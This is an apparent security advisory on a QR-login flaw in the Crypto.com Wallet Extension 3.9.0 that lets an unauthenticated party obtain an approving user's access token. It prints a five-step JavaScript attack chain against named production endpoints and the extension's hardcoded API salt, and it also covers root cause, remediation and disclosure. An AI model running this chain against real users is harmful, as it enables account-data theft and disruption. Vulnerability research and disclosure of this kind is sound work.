Background
The Crypto.com Wallet Extension (v3.9.0, Chrome Manifest V3) supports linking to the Crypto.com mobile app via a QR-based authentication flow. The user scans a QR code displayed in the extension with the Crypto.com App, approves the connection, and the extension receives a Bearer token scoped to the approver's account.
This audit examined the trust boundaries in the QR session lifecycle: who can create sessions, how token issuance is bound to the approving party, and what data the resulting token can access. The backend API at ex-wallet.crypto.com was tested against the researcher's own Crypto.com account on live production infrastructure.
The core question: can an unauthenticated party create a first-party login QR code and steal the approver's access token?
Methodology
The Wallet Extension package (hifafgmccdpekplomjjkcfgodnhcellj) was decompiled and analyzed statically. The QR session creation flow, client authentication mechanism, and token exchange protocol were traced through the extension's bundled JavaScript source.
A hardcoded authentication salt was extracted from the extension source. This salt, combined with a timestamp, UUID, and client name, is the only credential required to authenticate API requests to the backend. Using this salt, the full attack chain was reproduced end-to-end on the live production server against the researcher's own account on 2026-03-10.
Critical Findings
1. Unauthenticated QR session creation enables account data theft
CWE-306 / Missing AuthenticationThe QR-based authentication flow for linking the Crypto.com App to the Wallet Extension has three compounding defects that chain into full account data theft:
- Missing creator authentication. The
POST /extension/ncw-api/api/cdc/authnz/v1/qr-sessionsendpoint creates real login sessions without requiring any user authentication — only a shared client-auth token extractable from the extension source. - Missing creator/scanner binding. After the scanner approves, the server issues an access token to the session creator (attacker), not bound to the scanner's identity.
- Insufficient approval context. The Crypto.com App's approval prompt displays attacker-controlled session metadata (e.g.,
origin_ip) rather than a server-verified origin or device identity, providing no reliable anti-phishing signal.
This is not ordinary QR phishing. The backend itself allows an unauthenticated party to mint a first-party login QR code that yields the approver's access token to the session creator. The attacker generates a QR code, the target scans it with the Crypto.com App, and the attacker receives a CDC-Authorization Bearer token scoped to the approving account.
The attack chain proceeds in five steps:
Step 1 — Create QR session (no user authentication)
// Attacker generates a throwaway ETH wallet — no Crypto.com account needed
const wallet = ethers.Wallet.createRandom();
const res = await fetch(
'https://ex-wallet.crypto.com/extension/ncw-api/api/cdc/authnz/v1/qr-sessions',
{
method: 'POST',
headers: createAuthHeaders(), // salt-based, no user auth
body: JSON.stringify({
ott: crypto.randomBytes(32).toString('hex'),
origin_ip: '127.0.0.1', // attacker-controlled
origin_ip_region: 'US', // attacker-controlled
user_agent: 'Crypto.com Wallet Extension 3.9.0',
metadata: { eth_addr: wallet.address }
})
}
);
// Returns 201 with real session_id and QR codeStep 2 — Present QR to target
// Server returns QR string in the legitimate extension format: ncw-extension-login|1|0|https://uc.crypto.com/v1/public/scan|<session_id> // Indistinguishable from a real Wallet Extension QR code. // Crypto.com App recognizes this format via Settings > QR scanner.
Step 3 — Poll session status using attacker's ECDSA signature
const payload = { eth_addr: wallet.address, session_id };
const signed = signData(payload, wallet.privateKey);
// Session transitions: initialized → claimed → confirmed
const status = await fetch(
'https://ex-wallet.crypto.com/.../authnz/v1/public/qr-sessions',
{ method: 'POST', headers: createAuthHeaders(), body: JSON.stringify(signed) }
);Step 4 — Exchange for victim's access token
const token = await fetch(
'https://ex-wallet.crypto.com/.../authnz/v1/oauth2/token',
{ method: 'POST', headers: createAuthHeaders(), body: JSON.stringify(signed) }
);
// Returns: { ok: true, access_token: "...", token_type: "Bearer", scope: "ncw_api" }Step 5 — Read victim's account data
const headers = { ...createAuthHeaders(), 'CDC-Authorization': `Bearer ${stolen_token}` };
// All return 200:
await fetch('.../api/cdc/oauth/token/info', { headers }); // email, user UUID
await fetch('.../cdc/api/viban/account/summary', { headers }); // fiat balances
await fetch('.../cdc/api/credit_cards', { headers }); // saved cards
await fetch('.../cdc/api/entity', { headers }); // account region
// Destructive write:
await fetch('.../api/cdc/external_application_account/disconnect', {
method: 'POST', headers,
body: JSON.stringify({ application_type_id: 'ncw' })
});
// Returns: { ok: true, code: 0 } — severs App-Extension connectionImpact
An attacker with no Crypto.com account can generate a valid first-party login QR code, wait for a target to scan it, and receive a Bearer token scoped to the target's account. This token provides read access to account email, user UUID, fiat wallet balances, saved payment cards, account region, personalized rate tiers, and purchase limits. The token also enables a destructive write: forcibly disconnecting the target's Crypto.com App from their Wallet Extension.
Mitigation
QR session creation must require proof of a legitimate, authenticated extension instance — such as a device-bound credential provisioned during wallet setup. The token exchange must bind issuance to the account that scanned and approved the QR code, not to the session creator. The mobile app approval prompt must display server-verified session context rather than attacker-controlled fields.
Supporting Finding
2. Hardcoded API authentication salt enables request forgery
CWE-798 / Hardcoded CredentialsThe Wallet Extension ships with a hardcoded salt used to generate API authentication headers for all requests to ex-wallet.crypto.com:
Extracted from extension source
// assets/SuiNetworkSwapActivity-DSjOZKzV.js
assert$K("w4FLQbMAWzsBTEJyFZ4_6CGF",
"Environment variable 'APP_TOKEN_SALT' is not set!");
// createAuthHeaders generates tokens from this salt:
function createAuthHeaders() {
const salt = "w4FLQbMAWzsBTEJyFZ4_6CGF";
const clientName = "Wallet-Extension";
const timestamp = Date.now().toString();
const uuid = crypto.randomUUID();
const token = sha256(clientName + timestamp + uuid + salt);
return {
"Client-Name": clientName,
"Client-Request-Time": timestamp,
"Client-Request-ID": uuid,
"Client-Request-Token": token
};
}This is a shared secret visible to anyone who inspects the extension. It provides no real authentication — any party can generate valid headers. This salt is the prerequisite for Finding 1: without it, the attacker cannot create QR sessions or exchange tokens.
Impact
Anyone can impersonate the Wallet Extension to the Crypto.com backend. The salt is used for all NCW API calls, StargateClient connections, and JSON-RPC provider requests. It is the sole gatekeeper for the QR session creation endpoint.
Mitigation
Replace the shared client-auth token with a per-instance credential provisioned during extension setup. Client-side secrets in browser extensions provide no authentication value and should not gate session creation for critical flows.
Confirmed Evidence
All testing was performed on 2026-03-10 against the live production server using the researcher's own Crypto.com account. No third-party accounts were accessed.
QR session creation — 201
{
"qr": "ncw-extension-login|1|0|https://uc.crypto.com/v1/public/scan|[REDACTED-SESSION-ID]",
"session_id": "[REDACTED-SESSION-ID]",
"expiry": "2026-03-10T10:45:19.136538379Z"
}Session status polling — initialized to confirmed
Poll 1-8: initialized Poll 9: initialized → claimed (researcher scanned QR with own Crypto.com App) Poll 10-N: claimed → confirmed (researcher approved in app)
Token exchange — 200
{
"ok": true,
"code": 0,
"data": {
"ok": true,
"access_token": "[REDACTED]",
"token_type": "Bearer",
"scope": "ncw_api",
"created_at": 1773139452
}
}Token info — victim email and user UUID
{
"ok": true,
"data": {
"resource_owner_id": "[REDACTED-UUID]",
"resource_owner_email": "[REDACTED]",
"scope": ["ncw_api"],
"created_at": 1773139452
}
}Fiat wallet — balances and ViBAN accounts
{
"account": {
"balance": { "currency": "USD", "amount": "0.00" },
"viban_types": [
{ "type": "van", "name": "USD (ACH)", "currency": "USD", "state": "pending_submit" },
{ "type": "uk_fps", "name": "GBP (FPS)", "currency": "GBP" }
]
}
}Confirmed Endpoints
Eight endpoints returned 200 with confirmed impact using the stolen token. All tested on 2026-03-10.
Data Reads (Confidentiality)
| Data | Endpoint | Evidence |
|---|---|---|
| Account email + user UUID | /cdc/oauth/token/info | Email and UUID returned |
| Fiat wallet balances | /cdc/api/viban/account/summary | Balance, ViBAN types, fee history |
| Credit cards access | /cdc/api/credit_cards | 200 OK (test account had no saved cards) |
| Account region | /cdc/api/entity | Entity ID and name returned |
| Personalized rate tiers | /cdc/api/live_rates/tiers | BTC/USD rates with tiered pricing |
| Purchase limits | /cdc/api/defi_purchase/limits | 200 OK |
| Purchase thresholds | /cdc/api/defi_purchase/thresholds | 200 OK |
Destructive Write (Integrity + Availability)
| Action | Endpoint | Evidence |
|---|---|---|
| Force-disconnect App from Extension | POST /external_application_account/disconnect | { ok: true, code: 0 } — severed connection |
The disconnect endpoint is particularly impactful: the attacker can forcibly sever the connection between the target's Crypto.com App and their Wallet Extension, disrupting purchase and bridging features until the target manually re-links.
Order creation (/cdc/api/defi_purchase/orders/create) is also accessible via this token but requires a passcode (2FA) for confirmation, so direct financial theft via purchase orders was not confirmed.
Root Cause
The two findings share a single systemic root cause: the QR login flow treats session creation as a low-privilege operation, but the token issued after approval grants access to the approver's account data.
The session creator is trusted as the token recipient. In practice, this means:
- Anyone with the extension source can create QR login sessions — no Crypto.com account required
- The server issues the Bearer token to whoever created the session, not to the account that approved it
- The mobile app cannot distinguish attacker-created sessions from legitimate ones because it displays attacker-controlled metadata
- The resulting token grants read access to PII, financial data, and a destructive write capability
The hardcoded salt (Finding 2) is the enabler: it provides the client-auth headers needed to call the session creation endpoint. But even with a rotated salt, the missing creator/scanner binding means the fundamental trust model is broken — the party that creates the session should not automatically receive the approver's token.
Remediation
- Require authenticated session creation. QR session creation should require a device-bound credential provisioned during wallet setup, not a shared client-auth token extractable from the extension source.
- Bind token issuance to the scanner. The token exchange must verify that the session creator and the scanner belong to the same user, or issue the token exclusively to the account that scanned and approved the QR code.
- Display server-verified session context. The Crypto.com App approval prompt should display server-verified information (e.g., extension's registered device name, wallet creation date) instead of attacker-controlled fields like
origin_ip. - Rotate the hardcoded salt. Replace
APP_TOKEN_SALTwith a per-instance credential. Client-side secrets in browser extensions provide no authentication value and should not gate critical flows.
Disclosure
We work with Crypto.com and all vendors we research, and inform them before publishing. All testing was performed against the researcher's own Crypto.com account on the live production server. No third-party accounts were accessed or affected.
The findings affect the Crypto.com Wallet Extension version 3.9.0 (Chrome, Manifest V3) and the backend API at ex-wallet.crypto.com. Other versions and platforms were not tested.